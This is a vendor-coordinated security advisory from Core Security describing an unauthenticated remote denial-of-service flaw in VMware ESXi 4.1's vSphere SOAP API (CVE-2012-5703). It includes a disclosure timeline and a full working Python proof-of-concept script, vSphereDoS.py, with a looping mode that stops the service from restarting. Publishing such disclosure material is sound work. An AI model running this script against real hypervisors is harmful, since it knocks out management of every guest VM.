VMware vSphere Hypervisor Vulnerability

1. Advisory Information

Title: VMware vSphere Hypervisor Vulnerability
Advisory ID: CORE-2012-0710
Advisory URL: http://www.coresecurity.com/core-labs/advisories/vmware-esx-input-validation-error
Date published: 2012-11-15
Date of last update: 2012-11-16
Vendors contacted: VMware
Release mode: Coordinated release

2. Vulnerability Information

Class: Input validation error [CWE-20]
Impact: Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2012-5703

 

3. Vulnerability Description

A security vulnerability was found in the VMware vSphere Hypervisor (ESXi) subsystem, allowing an unauthenticated remote DoS. The vulnerability could allow denial of service if a specially crafted request is sent to the vSphere API by an unauthenticated user.

An attacker must have TCP connectivity to the ESXi server and be able to send specially crafted content in order to exploit this vulnerability. As a result, all guests on that Hypervisor server may become non-responsive.

Assuming a vulnerable target, only the VMware infrastructure components lose connection with the ESX and all its VMs. Given that all the VMware components talk to each other using the vSphere SOAP API, this attack will affect all of those components which include:

  • VI Client tool (and web client) connected to that ESX loses connection.
  • If the ESX server is registered in a Virtual Center, the Virtual Center loses connection with the ESX.
  • Any KVM Console gets disconnected.
  • Any monitoring tool loses connection too.
  • Any 3rd party tool/script will not be able to access the ESX server or any of its VMs programmatically by using the API. I.e. Querying vSphere infrastructure object properties, reconfiguring VMs, reverting/creating/deleting VM snapshots, powering VMs ON/OFF, cloning/deploying new VMs, etc. For instance, Nagios plugins using the API will not be able to connect.

4. Vulnerable packages

  • VMware vSphere Hypervisor (ESXi) v4.1.
  • Other versions are probably affected too, but they were not checked.

5. Non-vulnerable packages

VMware notifies that the following products are not affected by this vulnerability (all versions running on Windows):

  • vCenter not affected.
  • ESXi 5.1 not affected
  • ESXi 5.0 ESXi not affected
  • ESXi 4.0 ESXi not affected
  • ESXi 3.5 ESXi not affected
  • ESX 4.0 ESX not affected
  • ESX 3.5 ESX not affected

6. Vendor Information, Solutions and Workarounds

VMware official advisory http://www.vmware.com/security/advisories/VMSA-2012-0016.html.

7. Credits

This vulnerability was discovered and researched by Sebastian Tello. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

 

8. Technical Description / Proof of Concept Code

The attack works by sending a request to the vSphere API, invoking either the method RetrieveProp or RetrievePropEx (introduced in ESXi v4.1). By sending an improper value in the request one of the Server services crashes immediately, and thus all ESX clients are disconnected; both the VI Client tool and the Virtual Center loose the connection with ESX. Even though VMs are working, they cannot be managed and may become unresponsive.

There seems to be an automatic mechanism that restarts the service after short time, but it ceases restarting the service after the malicious request is sent for the second time. Even if the service is restarted many clients (as the VI Client) must be reconnected manually.

 

8.1. Proof of Concept

Launch the attack once against the default installation (https://10.10.10.10:443/sdk):

python vSphereDoS.py 10.10.10.10

 

Launch the attack against a no default port without SSL:

python vSphereDoS.py --port 8888 --no-ssl 10.10.10.10

 

Launch the attack in a continuous loop (after a few iterations the service does not restart again):

python vSphereDoS.py --loop 10.10.10.10

 

vSphereDoS.py

import socket import time from httplib import BadStatusLine, HTTPSConnection, HTTPConnection from optparse import OptionParser data = """<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP-ENV:Header></SOAP-ENV:Header> <SOAP-ENV:Body xmlns:ns1="urn:vim25"> <ns1:RetrieveProperties xsi:type="ns1:RetrievePropertiesRequestType"> <ns1:_this type="PropertyCollector">ha-property-collector</ns1:_this> <ns1:specSet> <ns1:propSet> <ns1:type>ResourcePool</ns1:type> <ns1:pathSet>name</ns1:pathSet> </ns1:propSet> <ns1:objectSet> <ns1:obj type="ComputeResource">ha-root-pool</ns1:obj> <ns1:skip>false</ns1:skip> <ns1:selectSet xsi:type="ns1:TraversalSpec"> <ns1:name>crToH</ns1:name> <ns1:type>ComputeResource</ns1:type> <ns1:path>host</ns1:path> <ns1:skip>false</ns1:skip> </ns1:selectSet> </ns1:objectSet> </ns1:specSet> </ns1:RetrieveProperties> </SOAP-ENV:Body> </SOAP-ENV:Envelope>""" def run_exploit(host, port, use_ssl): if use_ssl: conn = HTTPSConnection(host, port=port) else: conn = HTTPConnection(host, port=port) headers = {"Accept-Encoding": "identity", "Content-Type": 'text/xml; charset="utf-8"', "SOAPAction": "urn:vim25/5.0", "Content-Length": "%d" % len(data), "User-Agent": "VMware VI Client/5.0.0"} if check_service(host, port): print " * Host seems to be up" else: print " * Warning: host seems to be down" print " * Attacking %s:%d ..." % (host, port) try: conn.request("POST", "/sdk", data, headers) response = conn.getresponse() except socket.error: print " * Unable to connect to server" return True except BadStatusLine: if check_service(host, port): print " * Exploit executed but couldn't verify if server crashed" else: print " * Attack succeed: Server Crashed!" return True else: print " * Attack failed" return False def check_service(host, port): up = True sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.settimeout(10) sock.connect((host, port)) except socket.error, e: up = False finally: try: sock.close() except: pass return up if __name__ == "__main__": parser = OptionParser("vSphereDoS.py [-p PORT] [-l] [-n] esx.example.com") parser.add_option("-p", "--port", dest="port", type="int", metavar="PORT", default=443, help="service port") parser.add_option("-n", "--no-ssl", action="store_false", dest="ssl", default=True, help="use HTTP instead of HTTPS") parser.add_option("-l", "--loop", action="store_true", dest="loop", default=False, help="continue running exploit") options, args = parser.parse_args() if not args: parser.error("No server host provided") if options.loop: while run_exploit(args[0], options.port, options.ssl): time.sleep(5) else: run_exploit(args[0], options.port, options.ssl)

 

9. Report Timeline

  • 2012-07-16: Core Security Technologies notifies VMware Corporation of the vulnerability and sends technical details and a PoC to reproduce the issue. Publication date is set for August 14th, 2012.
  • 2012-07-18: VMware security team confirms the reception of the issue and asks to use the ID [AID578960] for further communication and tracking purposes.
  • 2012-07-24: Vendor confirms that they were able to reproduce the issue and that it affects ESX 4.1. Vendor also asks for release date to be delayed without providing a specific date. Vendor requests for a face to face meeting at Black Hat USA 2012 Conference.
  • 2012-07-24: Core notifies that the release date Aug 14th is tentative and the advisory can be evaluated to be rescheduled if vendor provides a reasonable timeline to fix the issue. Core also notifies that all interaction will be via email and a face to face meeting is not necessary.
  • 2012-08-06: Core asks for a status update and a specific date to release the advisory.
  • 2012-08-07: Vendor notifies that they do not have a specific release date yet, but expect it to be during the 4th quarter 2012.
  • 2012-08-07: Core re-schedules the advisory for Oct 16th with status 'tentative'.
  • 2012-08-14: First release date missed.
  • 2012-08-31: VMware notifies that they are still on track for a release in the 4th quarter. Vendor also notifies that the release of ESX/ESXi 4.1 Update3 does not address the reported issue.
  • 2012-09-06: Vendor notifies that the release will probably be in November.
  • 2012-09-27: Vendor notifies the current publication date is 29th November, but this date may change.
  • 2012-10-16: Second release date missed.
  • 2012-10-18: Vendor notifies the publication date is 15th November.
  • 2012-10-31: Core re-scheduled the advisory publication for 15th Nov and notifies this date should be considered final.
  • 2012-11-15: Advisory CORE-2012-0710 published.
  • 2012-11-16: VMware notifies that they have released a bulletin reporting this vulnerability with a different CVE number. VMware assigned CVE-2012-5703 but Core CVE-2012-2615.
  • 2012-11-16: CVE-2012-2615 changed to CVE-2012-5703.

 

11. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: https://www.coresecurity.com/core-labs.

12. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at: https://www.coresecurity.com.

13. Disclaimer

The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

14. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team.